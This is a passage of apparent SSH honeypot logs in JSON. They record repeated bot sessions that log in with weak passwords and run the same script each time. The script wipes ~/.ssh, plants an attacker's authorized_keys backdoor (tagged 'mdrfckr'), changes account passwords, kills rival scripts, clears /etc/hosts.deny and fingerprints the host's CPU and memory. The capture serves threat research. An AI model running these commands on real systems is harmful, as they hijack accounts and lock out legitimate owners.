.ssh","started_at":"2026-08-27T12:31:28.446059+00:00","ended_at":"2026-08-27T12:31:29.412215+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:31:10.956182+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:31:11.254924+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:31:15.215062+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:31:15.816754+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:31:16.114087+00:00","kind":"input","latency_ms":null,"data":"echo \"root:1AbSY7TSKfA1\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:31:16.413053+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:31:16.710113+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:31:17.115072+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:31:17.412885+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:31:18.431897+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:31:18.733509+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:31:19.730283+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:31:20.029788+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:31:20.672990+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:31:20.972023+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:31:21.630074+00:00","kind":"output","latency_ms":null,"data":" 12:31:21 up 7 days, 9:21, 0 user, load average: 0.21, 0.24, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:31:21.928851+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:31:22.749944+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:31:23.049709+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:31:23.573520+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:31:23.872892+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:31:24.380168+00:00","kind":"output","latency_ms":null,"data":"top - 12:31:24 up 7 days, 9:21, 0 user, load average: 0.21, 0.24, 0.19\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:31:24.679869+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:31:25.345651+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:31:25.645724+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:31:25.928202+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:31:26.227549+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:31:26.673198+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:31:26.971203+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:31:28.146248+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:31:28.446850+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:31:29.324182+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Passw0rd@2026","method":"password","accepted":true,"tier":"other"}]} {"id":"1609ea5b-d2dc-4f1e-96b4-c9b871295286","name":"ruddy-humble-bunting","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":38402,"username":"test","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":327,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:29:42.393155+00:00","ended_at":"2026-08-27T12:29:44.480765+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2257,"events":[{"seq":1,"at":"2026-08-27T12:29:12.346840+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:29:12.675284+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:29:16.958606+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:29:18.144933+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:29:18.473169+00:00","kind":"input","latency_ms":null,"data":"echo -e \"test12345\\npXuCh5asZlbx\\npXuCh5asZlbx\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:29:18.804090+00:00","kind":"input","latency_ms":null,"data":"echo \"test12345\\npXuCh5asZlbx\\npXuCh5asZlbx\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:29:19.128661+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:29:20.429567+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:29:20.671095+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T12:29:20.722999+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:29:20.765300+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T12:29:22.278487+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:29:22.613322+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T12:29:23.909703+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T12:29:24.242725+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T12:29:26.332770+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T12:29:26.663861+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T12:29:28.375250+00:00","kind":"output","latency_ms":null,"data":" 12:29:28 up 7 days, 9:19, 0 user, load average: 0.13, 0.16, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T12:29:28.703000+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T12:29:30.787321+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T12:29:31.114660+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T12:29:32.021085+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T12:29:32.348937+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T12:29:33.824131+00:00","kind":"output","latency_ms":null,"data":"top - 12:29:33 up 7 days, 9:19, 0 user, load average: 0.13, 0.16, 0.15\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T12:29:34.150368+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T12:29:36.211114+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T12:29:36.540493+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T12:29:38.081176+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T12:29:38.406880+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T12:29:40.393000+00:00","kind":"output","latency_ms":null,"data":"test"},{"seq":31,"at":"2026-08-27T12:29:40.719007+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T12:29:42.067939+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T12:29:42.393989+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T12:29:44.383829+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"test","password":"test12345","method":"password","accepted":true,"tier":"other"}]} {"id":"e5ebfb99-0401-4147-b4b9-c5fff6839c7d","name":"verdant-breezy-goshawk","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":53220,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":265,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:29:36.925712+00:00","ended_at":"2026-08-27T12:29:37.877115+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-27T12:29:18.800061+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:29:19.064732+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:29:22.400240+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:29:23.186181+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:29:23.448300+00:00","kind":"input","latency_ms":null,"data":"echo \"root:VhLEsFNEG4bc\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:29:23.717063+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:29:23.980930+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:29:24.706582+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:29:24.971366+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:29:25.979106+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:29:26.248254+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:29:27.531371+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:29:27.803351+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:29:28.536218+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:29:28.802270+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:29:29.082143+00:00","kind":"output","latency_ms":null,"data":" 12:29:29 up 7 days, 9:19, 0 user, load average: 0.27, 0.31, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:29:29.347874+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:29:30.508210+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:29:30.772964+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:29:31.402895+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:29:31.668077+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:29:32.383078+00:00","kind":"output","latency_ms":null,"data":"top - 12:29:32 up 7 days, 9:19, 0 user, load average: 0.27, 0.31, 0.2\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:29:32.648180+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:29:33.053564+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:29:33.319135+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:29:34.019214+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:29:34.283485+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:29:34.536588+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:29:34.801865+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:29:36.660255+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:29:36.926442+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:29:37.800149+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"12345abc","method":"password","accepted":true,"tier":"other"}]} {"id":"dcfb3d69-cc4c-4120-9d60-c07c2fa180eb","name":"dappled-balmy-caracal","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59660,"username":"ubuntu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":449,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:29:26.042174+00:00","ended_at":"2026-08-27T12:29:27.519024+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2257,"events":[{"seq":1,"at":"2026-08-27T12:29:04.846500+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:29:05.294528+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:29:09.556096+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:29:10.019279+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:29:10.467616+00:00","kind":"input","latency_ms":null,"data":"echo -e \"88888888\\nB6YRShX5Yskh\\nB6YRShX5Yskh\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:29:10.914201+00:00","kind":"input","latency_ms":null,"data":"echo \"88888888\\nB6YRShX5Yskh\\nB6YRShX5Yskh\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:29:11.359341+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:29:11.766842+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:29:12.216248+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:29:13.646102+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:29:14.096348+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:29:15.206960+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:29:15.657122+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:29:16.482816+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:29:16.929881+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:29:17.555128+00:00","kind":"output","latency_ms":null,"data":" 12:29:17 up 7 days, 9:19, 0 user, load average: 0.08, 0.09, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:29:18.005373+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:29:18.720338+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:29:19.167707+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:29:19.776441+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:29:20.228561+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:29:21.091854+00:00","kind":"output","latency_ms":null,"data":"top - 12:29:21 up 7 days, 9:19, 0 user, load average: 0.08, 0.09, 0.05\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:29:21.539770+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:29:21.914331+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:29:22.361050+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:29:22.941303+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:29:23.389746+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:29:24.262932+00:00","kind":"output","latency_ms":null,"data":"ubuntu"},{"seq":29,"at":"2026-08-27T12:29:24.709909+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:29:25.594418+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:29:26.042648+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:29:27.380692+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ubuntu","password":"88888888","method":"password","accepted":true,"tier":"other"}]} {"id":"2f2acf93-459d-4ad4-b3b2-a666f3f3f304","name":"dappled-wry-jerboa","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":35920,"username":"test","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":296,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:29:15.331459+00:00","ended_at":"2026-08-27T12:29:17.343007+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2257,"events":[{"seq":1,"at":"2026-08-27T12:28:58.039232+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:28:58.336043+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:29:01.135879+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:29:01.669831+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:29:01.966031+00:00","kind":"input","latency_ms":null,"data":"echo -e \"test12345\\nyGethd9wIrEq\\nyGethd9wIrEq\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:29:02.262421+00:00","kind":"input","latency_ms":null,"data":"echo \"test12345\\nyGethd9wIrEq\\nyGethd9wIrEq\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:29:02.556338+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print 